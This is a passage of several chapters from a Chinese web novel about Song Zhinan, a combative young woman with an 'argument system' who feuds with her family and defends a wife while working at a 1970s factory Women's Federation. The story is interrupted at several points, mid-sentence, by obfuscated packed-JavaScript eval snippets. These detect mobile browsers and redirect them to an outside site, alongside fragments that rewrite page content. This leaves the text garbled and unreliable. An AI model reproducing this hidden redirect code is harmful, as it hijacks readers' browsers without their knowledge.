宋上进若有所思,现在大儿子已经下乡了,他再怎么不满也改变不了事实。这个闺女虽然不孝顺,但也是他闺女,她有个好工作,说出去,他面上也有光,要是宋知南能上交工资那就再好不过了。 宋上进的脸色略略好看了一些,魏芬接着再劝:“宋叔,咱们知南聪明、脑子活、口才好,以后好好培养,前途大着呢。新社会新国家,姑娘儿子都一样。说什么儿子养老,你看我娘家就是三个女儿,我们姐妹三个不照样给我爸妈养老?” 李玉华听到养老,忍不住冷哼一声,就凭宋知南那个白眼狼,她要是给自己养老,她就不姓李! 宋上进附和道:“嗯嗯,你说得有道理。” 魏芬见他们饭都端上桌了,也不好多呆,便起身告辞,宋知南送她出去。 魏芬离开后,宋知南重新坐回座位,像一家之主似的吩咐大家:“饭都快凉了,赶紧吃饭。” 宋上进瞥了宋知南一眼,他的活好像被抢了。 李玉华阴阳怪气地说:“我一想到我的秋实还在火车上受苦,我就没心思吃饭。” 宋上进本来筷子都拿起来了,听到这话,不禁眉头一皱。 宋知夏听到这里,便很有眼色地把筷子放下。只有宋冬宝无所谓,拿起煎饼就开吃,嗯,他的厨艺又进步了。 宋知南淡淡扫了李玉华一眼,说:“此时此刻,火车上的知青可不止你儿子一个,京城的沪市的,南来的北往的都有,怎么别人能受得了,就他受不了?知道的知道咱家只是普普通通的工人家庭,不知道的还以为咱家是封建地主家庭呢,还以为宋秋实是娇生惯养的大少爷呢?” 现在大家对于地主非常敏感,宋上进赶紧制止:“知南,别瞎说八道。” 李玉华压抑的情绪再次爆发出来,她指着宋知南骂道:“我就知道,你从小就妒忌你哥,妒忌他是个男孩,妒忌他比你受宠,他现在倒霉,你心里一定很高兴是吧?” 宋知南:“你怎么知道?我确实很高兴。” 李玉华不可思议地看着宋知南。 宋冬宝张了张嘴,暗暗竖了个大拇指,三姐真的太厉害了。 宋知南实话实说:“宋秋实倒霉我当然高兴,但要说妒忌他,真谈不上。我难道妒忌他脑子不好使?学习比我差?妒忌他性格比我差?被妒忌是需要资本的,就凭他也配?” 李玉华讥讽道:“对对,就你最配。” 宋知南叹息一声:“果然,黄鼠狼夸自己儿子香,刺猬夸自己儿子光,你们想夸就夸吧,自己种的瓜自己夸,反正除了你们也没别人夸他。” 杠精系统:杠精值加10。 说完这些,宋知南温和地对李玉华说:“你要是不吃就回房间吧,别人还得吃呢。冬宝,赶紧吃饭,你还在长身体呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600670|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 宋冬宝受宠若惊。 有了宋知南带头,大家开始吃起饭来。李玉华仍然坚持不吃,宋知夏劝了一阵,也小心翼翼地端起碗默默吃饭。 宋知南一边吃一边夸:“冬宝的厨艺进步了,你是长了脑子的。” 宋冬宝心头涌上一丝欢喜,他挠挠头,怪不得最近老是头皮发痒,原来是在长脑子。 李玉华嘲讽道:“他要有脑子能被你这样使唤?一个男孩子围着灶台转能有什么出息?” 宋冬宝脸色一变,他不说话,低头继续干饭。 宋知南不悦地说:“国营饭店的大厨也是围着灶台转,人家也没出息?所有人都没出息?就你那个废物大儿有出息。” 宋知南不提一好,一提宋秋实,李玉华就开始毫无征兆地哭了起来:“我的秋实啊,他以后可怎么办呀。” 宋知夏赶紧放下碗筷好声劝她,宋上进也不耐烦地说了几句。 宋知南凉凉地飘出一句:“你这样哭,不知内情地还以为你哭丧呢?你是想咒你儿子吧。” 李玉华歇斯底里地狂吼:“你给我闭嘴!” 宋知南的调皮劲上来了:“就不闭就不闭,你哭丧你哭丧,宋秋实要倒霉了,他倒霉了都是你哭的。” 李玉华腾地一下站起来,恶狠狠地瞪着宋知南。 双方一触即发。 宋上进起身把李玉华往屋里推,同时还扭头劝宋知南:“小四,你妈今天心情不好,你就不能少说两句?” “我心情也不好,你让她别说话。” 系统播报:杠精值加15。 李玉华终于进屋哭去了,宋知夏和宋上进在屋里劝她。 宋知南对宋冬宝说:“冬宝,赶紧吃饭,多吃点,咱俩跟他们不一样,咱俩没人疼,只能自己疼自己,咱俩可都在长身体呢。” 宋冬宝本来还在犹豫要不要跟着去屋里看看,听三姐这么一说,索性也不动了。 两人飞快地往嘴里扒饭,今天人少菜多,终于能敞开肚皮吃个痛快。宋知南自从吃了大力丸后,饭量大增。于是,她在宋冬宝惊讶的目光中,连炫了四张煎饼,还把桌上的菜一扫而光。 宋知南把碗一推:“冬宝,洗碗去,我消消食。” 宋冬宝还能说什么,只能乖乖地去洗碗。 等到宋上进和宋知夏出来想接着吃饭时,发现桌子上连碗筷都撤了。 两人不由得傻眼。 宋上进忍无可忍地问道:“饭呢?我跟知夏还没吃饱呢?” 宋冬宝不好意思地干笑两声,他忘了两人还没吃饱了。 宋知南一脸无辜:“我还以为你俩也不饿呢,没事的,偶尔饿几顿更健康。爸你当初跟妈不就是这么说我吗?” 宋上进无言以对,他前几天确实说过这句话,现在是搬石头砸自己的脚。 这一晚,李玉华饿着肚子在屋里哭,宋上进饿着肚子在旁边唉声叹气,宋知夏虽然没哭没叹气,但她在陪饿。只有宋知南和宋冬宝吃饱喝足,精神头十足。 16.第16章没心没肺活得不累 宋知南吃完晚饭出去遛弯,她沿着马路牙子溜达了一大圈。家里住着除了有源源不断的杠精值外,没啥意思。她还是得想办法搬出去,明天就问问何黛能不能申请宿舍。如果不能,看看能不能租间房子。 这街景也没啥好看的,公园又离得过远,宋知南压了半小时的马路就回家了。 家里气氛仍然不算融洽,她也不在乎。她不会为任何成年人的情绪负责,谁想难过就难过,她舍得让别人受苦。 宋知南回到房间时,宋知夏正坐在小床上发呆。 她一看到宋知南,勉强笑了笑,“回来了。” 宋知南嗯了一声。 宋知夏像是有话要说,看着宋知南几次欲言又止。 宋知南看着难受,直接说:“你有话就直说。” 宋知夏组织了一下语言,小心翼翼地说:“三妹,我觉得咱们家这样下去也不是个办法,你看家里的气氛多压抑,大家谁都不舒服。” 宋知南瞥了她一眼:“那你有何高见?” 宋知夏试探道:“要不,你去跟妈认个错?” 宋知南冷笑:“还以为你有啥高见呢,就这?我有什么错?我错在哪儿?” 宋知夏神情有些慌乱,赶紧说:“你别生气,我就是觉得咱们做儿女的,对自己爹妈退一步又如何?你也知道妈的性子,你不给她台阶下,她就会一直闹别扭。” 宋知南满不在乎地说:“我又不是建筑工人,不会造台阶,就让她继续作吧,她不吃饭也没关系,我正好观察观察一个人能饿几天。” 接着,宋知南拖长声调怪声怪气地说:“反正人几天不吃饭也饿不死。”当初原主不愿下乡绝食时,李玉华就是这么说的,宋知南今天原话奉还。 宋知夏蠕动着嘴唇,憋了半天才憋出一句:“你心里还是有恨。” 宋知南眼珠一转,她都给宋冬宝洗脑了,要不也给宋知夏试试?有枣没枣打一杆子。 想到这里,她就开始自己的洗脑策反大业:“二姐,我心里是有恨,我不信你就没有恨。你从小就不是什么愿意无私奉献的人,你这人人品不咋好,自私又自利,为了蝇头小利就敢出卖兄弟姐妹……” 宋知夏极力否认:“你别这么说,我不是这种人。” 宋知南扬手打断她的话:“我说有就有,你别反驳我,我这人不喜欢被人杠。” 宋知夏无言以对。 宋知南接着说:“你虽然不咋地,但凡事都有对比,你比宋秋实人品好,比宋冬宝聪明有脑子,比大姐活得明白。可以说,这个家除了我也就你还行。你说你这样的资质却也不受重视,家庭地位也就比我略高那么一丁点,你连上高中都是沾了宋秋实的光,他发话想让你陪着上,你才有机会。不管你怎样费力讨好,你就是无法跟宋秋实和宋冬宝一样,你心里难道就没有怨气和不平吗?” 宋知夏再次否认:“我没有。我一直觉得爸妈这一辈子挺不容易的。” 宋知南犀利地反问道:“爸妈不容易是咱们造成的吗?” 宋知夏一时语塞,要说是他们造成的也不对,但总跟他们有关系吧。毕竟,养孩子不是一件容易事。 宋知南继续往下说:“他们不容易是他们的父母和自己造成的,他们明明没什么能力,还非要生五个孩子,然后又把责任推到我们头上?这是正常人应该干的事吗?再说了,他们养活五个孩子,资源是平均分配的吗?明明宋秋实占了最多的资源,怎么宋秋实就不像你一样体谅父母?他怎么从来不说父母不容易?为什么他可以心安理得的享受着家里的一切,而我们却诚惶诚恐战战兢兢,要不停地干活不停地讨好父母?” 宋知夏的脑子犹如一团乱麻,理不清,完全理不清。 半晌之后,宋知夏苦笑道:“就凭宋秋实是个带把的,就凭我们生来就少了一样东西呗。” 宋知南用力地捶了一下床,把宋知夏吓了一跳,以为她又要发疯呢。 宋知南的语调变得激昂起来:“所以,我们要打破这一切,我们要革命,哪里有压迫哪里就有反抗。” 宋知夏瞪大眼睛:“那可是咱们的亲爹亲妈,咱们怎么反抗怎么革命?” 宋知南白了她一眼:“什么亲爹亲妈,他们就是奴隶主。革命革命,就是连自己家的命都敢革。” 宋知夏小心地试探:“那个三妹,你最近是不是加入了什么组织了?” 前两年,他们工厂的年轻人成立了很多革命小组,闹腾了好一阵子。不过这两年,大家上班的上班,下乡的下乡,很多组织才渐渐解散了。 宋知南脑袋一昂:“我为什么要加入组织?我就是最大的组织者和发起人。一屋不扫何以扫天下,我先从咱们家革命。有位革命志士说过:没反抗过父母的女孩是不完整的,是没有出息的。真的猛士敢于直面惨淡的人生,敢于直面父母不爱你的真相。你听懂了吗?” 宋知夏被唬得一愣一愣的,只能点头说听懂了。 宋知南说累了,两眼一闭,倒头就睡。 宋知夏却失眠了,她辗转反侧,难以入眠。她的脑海中一直盘旋着一个问题:亲妹妹精神不正常且有暴力倾向该怎么和她相处? 第二天,宋知夏顶着两只熊猫眼起床做早饭,她熬了一大锅小米红薯粥,炕了玉米饼子,把咸菜疙瘩切成丝拌上葱花香菜,滴上一滴香油,味道吃着还不错。 宋知南心情愉悦地吃着早饭,还夸了宋知夏一句:“二姐的厨艺不错,冬宝你好好跟她学。” 宋冬宝虚心接受。 李玉华起床后仍旧耷拉着一张脸,家里的气氛重新变得压抑起来,只有宋知南依旧不受影响。 李玉华一屁股坐下来,抓起饼子就吃,一边吃一边旁敲侧击道:“咱们家里不能有吃白饭的,上班的就得交钱,不上班的就得做饭做家务。” 这话明显是说给宋知南听的,但她不点名,宋知南就当听不懂。 宋知南喝完一碗粥,吃了两个饼子,站起来就走:“我上班去了,你们慢慢吃。” 李玉华见她故意装傻,咬着牙喊道:“宋知南,你没听见我的话吗?” 宋知南头也不回地说:“李同志,你是不是忘了咱俩在冷战。我没给你台阶,你不要自己下来。” 李玉华:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608371|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 家里其余人,面面相觑,谁也没有接话。 宋知南往外走的时候,就听见杠精系统又开始播报了,10个杠精值顺利到手。这个家虽然给不了她什么财产和关爱,但给了她很多杠点呀,家庭果然是江湖,不光有打打杀杀,还有吵吵闹闹。 宋知南到妇联上班的第二天,活不多,也就打扫打扫卫生,打打开水,整理整理资料。 午休时间到了,怕中午有人来,宋知南就和何黛商量两人轮流吃饭,何黛先去,宋知南留在办公室。 过了一会儿,办公室就来了一个熟人,王小雪。 王小雪已经听说了,上次帮她说话的女同志现在真的成了妇联的干事。 她一见到宋知南,就笑着说:“宋同志恭喜你呀。” 宋知南见到王小雪也很热情:“王同志,说起来还得多谢你,上次我帮你说话才因此引起领导的注意,我才得以顺利进入妇联,这是我从小的理想。感谢你让我实现了我的理想。” 王小雪没想到自己还能无意间帮了别人,心里也颇为高兴。 高兴的情绪连受的委屈都冲淡了一些。 宋知南知道王小雪来这里不是叙旧的,肯定有事,便认真地问道:“王同志,你有什么委屈尽管告诉我们,妇联就是咱女同志的娘家。” 王小雪未语先叹气:“唉,还是那些破事。我回去跟娘家商量了一下,我爸妈弟弟妹妹都让我带着孩子回娘家住一段时间,不管老林家那一堆破事了。就让林光宗自己应付去。我正在犹豫呢,我一是觉得回娘家时间长了也不好,二是怕别人说我。” 宋知南说:“王姐,我在这里先表扬一下你父母,他们真的很不错,愿意为你撑腰,他们这种行为已经领先了全国百分之七十的父母。” 王小雪噗嗤一声笑了出来:“宋干事,你这人说话真有意思。” 宋知南接着说:“既然他们愿意,你为什么不回去?那也是你的家啊,你就得理直气壮的回。别听什么嫁出去的女儿泼出去的水,咱是活生生的人不是水。谁要是这么说,你就让他们老了去找水孝顺他们,别找女儿。” 王小雪频频点头,感觉心中的迷雾都被宋知南给轻轻拨开了。 宋知南接着说:“你要是觉得过意不去,就给娘家买点东西交点生活费,好好地晾一晾老林家,让孝顺的林光宗去应付他那一大家子。人性本贱,绝不能惯。你以前掏心掏肺活得心力交瘁,从今以后就没心没肺,至少活着不累。” 王小雪细细地品着这句话:“是啊,我掏心掏肺活得心力交瘁,那还不如没心没肺。宋同志,你咋这么聪明呢?这话说得真好。妇联有你这样的好同志,是咱们广大妇女的福气啊。” 宋知南面带微笑:“王同志,你这个人真好,那姓林的用尽了一辈子的幸运娶到你,却不知道珍惜。” 王小雪不好意思地笑笑,她终于下定决心:“宋同志,我这就收拾东西回娘家去,等我有空,给你锈一面锦旗。” 宋知南谦虚地说:“谢谢王同志,为人民服务是我应尽的职责。对我来说,能得到你们的认可和满意就是最好的礼物。” 17.第17章杠到工会 王小雪得到了充分的情绪价值和具体的方法论,心满意足地离开了。她一回到厂里就化身自来水,大力宣传宋知南的好。 “妇联新来的宋干事真是个负责的好同志。她聪明能干,会说话,懂得多,劝人能劝到你心坎里。” “小宋干事,我知道我知道。听说她把马大姐给怼了一顿,马大姐可是咱们这一带有名的媒婆,大家就算心里烦她,也不敢当面说什么。小宋连她都敢怼,人家是真的硬气。” “小宋同志的口才真好,也不知道她的嘴咋长的,我恨不得借她的嘴用用,好好怼怼我婆婆。” …… 何黛在食堂吃完饭,回来替换宋知南。宋知南打饭的时候,食堂里的饭菜已经不多了。好在她也不挑食,有啥吃啥,吃嘛嘛香。 吃完饭,洗好饭盒,宋知南回到办公室,跟何黛闲聊,顺便问她怎么申请宿舍。 何黛说:“咱们纺织厂的宿舍挺紧张的,每次有空位不知道多少人盯着,再说你家有住的地方,厂里一般是不会给你批宿舍的。” 宋知南又问能不能租房,何黛依旧摇头:“大家的住房都很紧张,自已家都不够住,哪来的房间出租?” 宋知南只能先打消搬出去的念头,打算以后再慢慢寻觅房子。 却说王小雪严格按计划行事,中午没回家给那一家子做饭,下午下了班就火速收拾好东西,带着俩孩子回娘家去了。 林光宗下班回家后发现屋里乱糟糟的,老婆孩子不见踪影,一问邻居才知道媳妇带着孩子回娘家去了,他不禁傻眼了。弟弟妹妹侄子外甥嚷着饿了要吃饭,吵得林光宗头大如斗,他只得带着一群饿狼去食堂吃饭。大家看到林光宗,少不得打听几句,很快地,大家都知道王小雪回娘家去了。 林光宗起初拉不下脸去岳父家接媳妇,捱了两天,实在受不了,终于低下了高贵的头颅去接人,结果被岳父岳母骂了一通赶了出来。 林光宗又恼又气,回到家听说他媳妇是妇联的宋同志给鼓动回去的,更是气不打一处来。他跟自己的好哥们诉苦,他的好哥们自然站在他这一边,一起骂王小雪不懂事儿矫情小气,顺带着连宋知南也骂了,骂她是个搅事精,这种女孩坚决不能娶,娶回家都是祸害。 事情传出去,不少男同志都对宋知南有了看法,很多人都不认识她,但不妨碍对她有偏见。 何黛也隐隐约约地听到一些风声,忍不住提醒宋知南:“知南,要不你改一改工作风格?像这种家务事吧,清官都难断,更何况是咱们妇联?咱们劝劝就得了,要不然,这得罪一大片男同志,对你的名声不太好。” 宋知南听到林光宗的那些哥们说她坚决不能娶回家,眼中闪着兴奋的光芒:“太好了,我希望他们都这么想。不然我还担心以后有人惦记我骚扰我呢。” 何黛:“……” 宋知南对何黛正色道:“小黛黛,你不用担心我。在我踏进妇联的大门时,我就做好了充分的思想准备。这世上总有些鸟儿身上每一片羽毛都闪着正义和自由的光芒,它不会为了躲枪子就不当出头鸟,出头是它的使命也是它的宿命。” 何黛表示听懂了,但受到了深深的震撼。 王小雪离家四天后,忍无可忍的林光宗怒气冲冲地找上了妇联,问宋知南要媳妇。 宋知南看着面前这个胡子拉碴的男人,上次见他还挺干净整齐,这才几天就变得这么邋遢。男人真是不独立,离开女人就活得一塌糊涂。 此时正值下班时间,妇联门口站满了围观群众。 林光宗大声说:“宋同志,我们家日子过不下去了,你说怎么办吧?” 宋知南上下打量了一眼林光宗,奇怪地问:“咋就过不下去了呢?你不是说你要孝顺爸妈,要养着你弟弟妹妹侄子外甥吗?人家王小雪同志回娘家,把家里都交给你,再也不干涉你了,也不跟你吵了,你不正好大展身手自由自在吗?” 林光宗没好气地说:“我在厂里辛苦工作一天,回到家里,饭也没人做,衣裳也没人洗,屋子也没人收拾,你让我怎么生活?” 宋知南依旧一脸不解:“饭没人做,你不会做吗?衣裳没人洗,你不会洗吗?难道你不是人?” 林光宗怒声质问:“你骂我?” 宋知南摇头:“你误会了,我从不骂正常人。” “你的意思是我不是正常人?” “我可没这么说,是你自己这么认为的。林同志,你为什么会觉得自己不是个正常人呢?你这种情况持续多久了?去医院看过吗?” 林光宗狠狠地瞪着宋知南。 宋知南温和地说:“林同志,你别着急,别激动。” 林光宗继续胡搅蛮缠:“大家都说我媳妇是你撺掇回娘家的。” 宋知南刨根问底:“大家说的?哪个大家?你告诉我名字,我把他们叫过来问问。” 林光宗当然不能说名字,一说他就成了众矢之的了。 宋知南一摊手:“你不说,那就代表没人说,全是你自己在胡说。我相信咱们工人阶级的嘴不会这么贱的。” 林光宗被噎得把话咽回去。 他继续耍无赖:“反正你们妇联得给我解决问题,要不然,我就不走了。” 宋知南:“你不走啊,那就呆在这里吧。不过林同志,我们这里是妇联,专门接待女同志的,再不济也得男女一起来。没有单独招待男同志的先例。你要留在这里,就得承认自己不是男人,不然,这不符合规矩。” 林光宗双目圆睁。 宋知南严肃地说:“来,你跟着我握着拳头宣誓,我说一句,你学一句:我,林光宗,从今天起变成女同志,我不是个男人。” 周围爆发出一阵大笑声。 还有几个熊孩子大声起哄:“哦哦,林光宗不是男人。” 林光宗气得满脸通红。 林光宗在周围人的哄笑声中,悻悻退走。第二天,他狠狠地向工会告了宋知南一状。 负责处理此事的工作人员也是一脸复杂,他们这个小宋同志真是个人才,才来几天就被人投诉了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624704|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 工会干事胡明亮自告奋勇地接过此事,打算跟宋知南好好谈谈,让她认识到自己的错误。 宋知南接到通知就过来了。 胡干事只是个干事,自然没有独立的办公室,跟大家聚在一起办公。他找宋知南谈话也是在办公室里,大家虽然表面上都在忙碌,但个个都竖着耳朵听着。 宋知南坦然自若地走进办公室,还热情地跟大家打个招呼:“同志们上午好,胡干事你找我?” 她飞快地打量了胡干事一眼,此人二十七八岁,国字脸,眯缝眼,一脸的装腔作势。 胡干事正襟危坐,虽然他不是官,但官腔挺重,他冲宋知南略一点头:“小宋,你坐。我找你是为了工作上的事,你应该也知道了吧?你被人投诉了。” 宋知南云淡风轻地说:“唉,你说这事啊,我当然知道。胡干事,经常上班的人都知道,被投诉那是常有的事。俗话说得好,多做多错,不做不错。工作越负责,越被人指责。我劝你别放在心上。” 胡干事无言以对,人家投诉你,你让我别放在心上? 不但胡干事无语,旁听的人也跟着无语。 胡明亮沉默一下很快就反应过来,怎么说呢,他此时涌起了一股难以克制的胜负欲,这次思想工作,不但是老员工对决新员工,还是男同志对决女同志,毕竟大家都支着耳朵听着呢,他要是不把这个小宋同志说服了,以后大家怎么看他? 胡明亮调整一下坐姿,慢条斯理地说道:“小宋啊,我比你年纪大,参加工作的时间比你长,我在这里多说你几句,你呢,有则改之,无之加勉。” 宋知南也换了个翘二郎腿的姿势:“胡干事你有话不防直说,你放心,我这人谦虚又大度,我不像有的人那么小心眼,动不动就投诉别人,你说错了,我也不会投诉你。” 胡明亮:你人还怪好咧。 胡明亮慢吞吞地说:“我觉着吧,这件事的起因是你的工作方法太激进了。两口子吵架是常事,你们妇联两边劝劝,让他们和好,和和美美地继续过日子不就行了吗?你倒好,直接把人家给撺掇回娘家了。对了,我还听说,你还正话反说,让人家林同志去孝顺岳父岳母,臊死王小雪同志,你瞧你这话说的,你这是完全站在王小雪这边呀,劝架要客观中立,最忌讳拉偏架。” 宋知南不懂就问:“胡干事,请问我们妇联全名叫什么?” 胡明亮不明所以但还是回答了:“叫全国妇女联合会吧,你问这个干什么?” 宋知南继续问:“我们的服务对象是谁?是男的还是女的?” 胡明亮哭笑不得:“妇联,自然是为女同志服务啊,这还用问吗?” 宋知南一脸严肃:“我们是为女同志服务,我也以为这不言自明,所有人都应该知道,但胡干事刚刚好像就忘了。你说我拉偏架,请问我们妇联不为女同志说话,为谁说话?难道替你们男同志说话?那我们为什么不叫男联呢?你指责我拉偏架,就相当于指责工会为工人阶级说话,指责咱们国家为社会主义国家说话。” 18.第18章一面锦旗 胡明亮张大嘴巴,被硬控地沉默了三秒。 旁听的众人嗤嗤笑了起来。 杠精系统:宿主牛宿主棒,杠上加杠,杠精值加30。 宋知南心中一喜,别看这胡干事人不怎么样,杠精值还挺高。 胡明亮被噎得哑口无言,他酝酿一会儿,再次发起进攻:“小宋同志,你这是在激化家庭矛盾,你说现在怎么办?林技术员家里一团糟,一个男同志若是没有稳定的大后方,就没心思好好工作,这样下去会影响咱们工厂的运转,你说事情大不大?” 宋知南:哟嗬,这帽子扣得可真大,都上升到这个高度了? 宋知南想了想,皱着眉头说道:“古人云,修身齐家治国平天下,一屋不扫何以扫天下。做为一个男人就得先管好自己管好家里才能干大事,这林技术员连区区一个小家都管不好,这种不独立的男人怎么能指望他干好工作呢?我建议给他调换个更容易的岗位,比如库管搬运之类的,他的位子让有能力的人顶上。咱们纺织厂这么多人才,我就不信没人胜任。”多大的本事,工厂离了他都不运转了。 胡明亮的眉头皱得能夹死一只苍蝇,他用复杂的目光看着宋知南:“宋同志,你厉害呀,一句话就要撤掉人家的职务。” 宋知南淡淡回应道:“胡干事,你也很厉害。明明是你说林技术员胜任不了工作的,你还说,他没心思工作,这样下去会影响工厂的运转。我也是为工厂考虑才想出这个好主意的。你看看你把大帽子都往我头上扣,知道的知道咱们是纺织厂,不知道的还以为咱们是帽子工厂。胡干事,你这工作方式也太激进了吧?” 胡明亮瞪圆了眼睛,气氛变得微妙而又尴尬。 杠精系统:杠精值加30。 还好这时有两个老员工赵哥和白姐过来打圆场。 “小胡啊,你是给跟人做思想工作的,好好说嘛。” “小宋啊,你们今天只是交流交流思想和工作心得,不是搞辩论,不要这么急嘛。” 宋知南对着两个老员工诉苦:“赵哥白姐,你们给评评理。我哪里做错了?这个林技术员不是孝顺吗?人家王小雪回娘家了,这不正好机会来了?他就好好地展现一下自己的孝心呗。他的孝顺一离开别人就没了,怎么?他这孝心找人借的呀。” 孝心还能找人借?大家觉得这个宋知南抬杠都能抬出花样来,也不知道她哪里来这么多新鲜词儿。 宋知南接着说:“我要是林技术员,我就一力承担所有的家务,孝顺得独立自主,孝顺得理直气壮。不仅如此,我还去孝顺岳父岳母,把家里的好东西都给小舅子小姨子,我要让王小雪同志好好看看,给她竖立一个榜样,让她主动向我学习,也给全厂的男职工树立一个榜样。绝不会像现在这样,干啥啥不行,家里全部搞不定,还闹情绪找领导告状,这不是丢男同志的脸吗?” 宋知南做出一副忧国忧民的模样,“现在的男人大事干不了,小事不愿干,真是一代不如一代,我真是担心咱们国家和民族的未来。” 在场的人大家大眼瞪小眼,谁也不好反驳。毕竟这都上升到国家和民族了,你怎么反驳都是错。 宋知南接着叹气:“以前的男人沉默如山,知道多干活多给钱,哪有人这么逼逼赖赖的。哪像现在这帮人,一个个的,该承担的不承担,该出钱的不出钱,就想多吃多占,占得不够就说女同志不能干。自己当了二十多年儿子不见他孝顺,一结婚就变孝顺了,你们说奇怪不奇怪?” 大家还是沉默着,没人接话。 胡明亮无力地摆摆手:“行啦宋同志,今天就到这儿吧,你可以回去了。”辩不过,完全辩不过。他惹不起躲得起。 宋知南站起身,很有风度地说:“胡同志,虽然你的工作方法很激进,但我能体谅你。你放心我不会像林同志那样小心眼向你的领导告状,我们女同志都大度明事理。” 胡干事强颜微笑:“宋同志,我感谢你的宽容大度。” 宋知南在一众异样目光的注视下从容走出工会办公室。 工会的胡干事给宋知南做思想工作不成,反倒被她教育了一顿,这事像风一样传开了。 原来工会的工作人员就是只纸老虎,以前为啥觉得他们挺能说,那是因为没遇到更能说的,这样遇到了。 真是卤水点豆腐,一物降一物。 这事自然也传到了贺胜男耳朵里,贺胜男这两天正在忙联谊会的事,办公室的事就交给了何黛和宋知南。她一回来就听说了自己新来的手下被人投诉了,还被叫到工会做思想工作,然后杠翻工会的事。她听罢,心情略复杂,她早就知道宋知南性格泼辣口才好胆子大,但好到这个地步着实出乎她的意料。 贺胜男回到办公室,看看宋知南,眼圈没红,神情也不见沮丧,像什么事都没发生似的。 贺胜男欣慰地点点头,她们妇联的人别的不说,心理承受能力得强。要不然,怎么能应付那么多乱七八糟的事和形形色色的人?小宋虽然年纪小,但心大。 贺胜男先安慰宋知南一句,“小宋,你没事吧?” 宋知南的情绪相当稳定:“贺主任,我没事。我经得起考验,受得住压力。” “好,你是个好样的。我还担心你受不了委屈会哭鼻子呢。” “我们女同志顶天立地,谁会在乎这点破事。” 贺胜男付之一笑,一句也没批评宋知南。 待贺主任一走,宋知南跟何黛说:“阿黛,我还以为贺主任会批评我两句呢,她竟然什么也没说。” 何黛说:“我刚来的时候也被投诉过,就委屈地哭了。贺主任还安慰我说,做咱们这行,被人投诉很正常。想让所有人都满意是不可能的,让一部分人满意就不错了。她说除非我真犯了严重的错误,她才会批评我。或者是批评给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14635964|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人看,因为她觉得咱们天天听这些鸡毛蒜皮家长里短的破事,心里本来就苦,领导再一批评就更难受了。” 宋知南赞叹道:“咱们贺主任真是个好领导。我长这么大第一次见到这样的。” 何黛笑着说:“我也是这么觉得。” 王小雪也听说了宋知南受自己牵连的事,她赶紧趁着中午午休过来道歉:“宋同志,对不住,是我连累了你。” 宋知南不在意地说:“这点小事算什么?我不在意,你也别在意。你千万别妥协,现在比拼的就是耐心和意志,妥协你就前功尽弃了。你继续在娘家住着,等到林同志受不了,主动把人送回老家去接你,你趁机约法三章然后再回家。” 宋知南没有直接劝王小雪离婚,她得考虑现在的时代背景,在七十年代离婚不是一件容易事。很多人的夫妻关系都是破破烂烂,大家缝缝补补凑和过。当然,遇到特别恶劣的,比如说家暴之类的,她还是会劝人离婚的。 王小雪吃了定心丸,继续安心在娘家住着。林光宗又忍了几天,终于忍无可忍,也等不到暑假结束了,直接请假把弟弟妹妹侄子外甥送回老家去了。 他回到家里,看着狗窝一样的房间,不禁仰天长叹,他怎么就把日子过成了这个样子? 林光宗厚着脸皮去接王小雪和孩子回家,王小雪趁机约法三章,以后寒暑假不准再让老家亲戚的孩子过来;父母可以过来暂住,但不可以长住;任何亲戚来,不能随便进他们的卧室,不能随便翻东西。亲戚要来就住招待所,如果林光宗坚持要人住进来,她就回娘家。 林光宗倍感屈辱地答应了这些条件,转头就把约法内容告诉哥们和朋友,大家说什么的都有。男人大多说王小雪自私小气,看不起婆家人。也有一部分女同志说王小雪不够大方贤惠。当然,还有很多跟王小雪处境相同的女同志能够理解她。她们不仅理解她还想成为她,这些人一听说问题是宋知南帮忙解决的,不由得蠢蠢欲动,都在悄悄地观望。 王小雪回家后,真的给妇联办公室送来了一面自己锈的锦旗,红色的绒布,上面锈着两行淡金色的字:妇联好干事宋知南,专为妇女排忧解难。 锦旗的事引起了小范围的轰动,锦旗不是特别稀罕的东西,但稀罕的是人家宋知南才来上班几天就有人送锦旗。 何黛十分羡慕,但好在她并不妒忌宋知南,因为她知道对方承受了什么。 